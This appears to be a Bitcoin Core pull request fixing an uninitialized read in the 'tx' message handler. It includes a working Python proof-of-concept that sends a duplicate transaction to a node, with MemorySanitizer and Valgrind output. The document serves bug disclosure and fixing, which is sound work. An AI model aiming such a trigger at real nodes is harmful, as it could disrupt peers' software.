Fix an uninitialized read in ProcessMessage(…, "tx", …)
when receiving a transaction we already have.
The uninitialized value is read and used on L2526 in the case of AlreadyHave(inv) == true
.
Proof of concept being run against a bitcoind
built with MemorySanitizer (-fsanitize=memory
):
0$ ./p2p-uninit-read-in-conditional-poc.py
1Usage: ./p2p-uninit-read-in-conditional-poc.py <dstaddr> <dstport> <net>
2$ bitcoind -regtest &
3$ ./p2p-uninit-read-in-conditional-poc.py 127.0.0.1 18444 regtest
4SUMMARY: MemorySanitizer: use-of-uninitialized-value
5[1]+ Exit 77 bitcoind -regtest
6$
Proof of concept being run against a bitcoind
running under Valgrind (valgrind --exit-on-first-error
):
0$ valgrind -q --exit-on-first-error=yes --error-exitcode=1 bitcoind -regtest &
1$ ./p2p-uninit-read-in-conditional-poc.py 127.0.0.1 18444 regtest
2==27351== Conditional jump or move depends on uninitialised value(s)
3[1]+ Exit 1 valgrind -q --exit-on-first-error=yes --error-exitcode=1 bitcoind -regtest
4$
Proof of concept script:
0#!/usr/bin/env python3
1
2import sys
3
4from test_framework.mininode import NetworkThread
5from test_framework.mininode import P2PDataStore
6from test_framework.messages import CTransaction, CTxIn, CTxOut, msg_tx
7
8
9def send_duplicate_tx(dstaddr="127.0.0.1", dstport=18444, net="regtest"):
10 network_thread = NetworkThread()
11 network_thread.start()
12
13 node = P2PDataStore()
14 node.peer_connect(dstaddr=dstaddr, dstport=dstport, net=net)()
15 node.wait_for_verack()
16
17 tx = CTransaction()
18 tx.vin.append(CTxIn())
19 tx.vout.append(CTxOut())
20 node.send_message(msg_tx(tx))
21 node.send_message(msg_tx(tx))
22 node.peer_disconnect()
23 network_thread.close()
24
25
26if __name__ == "__main__":
27 if len(sys.argv) != 4:
28 print("Usage: {} <dstaddr> <dstport> <net>".format(sys.argv[0]))
29 sys.exit(0)
30 send_duplicate_tx(sys.argv[1], int(sys.argv[2]), sys.argv[3])
Note that the transaction in the proof of concept is the simplest possible, but really any transaction can be used. It does not have to be a valid transaction.
This bug was introduced in #15921 (“validation: Tidy up ValidationState interface”) which was merged in to master
28 days ago.
Luckily this bug was caught before being part of any Bitcoin Core release :)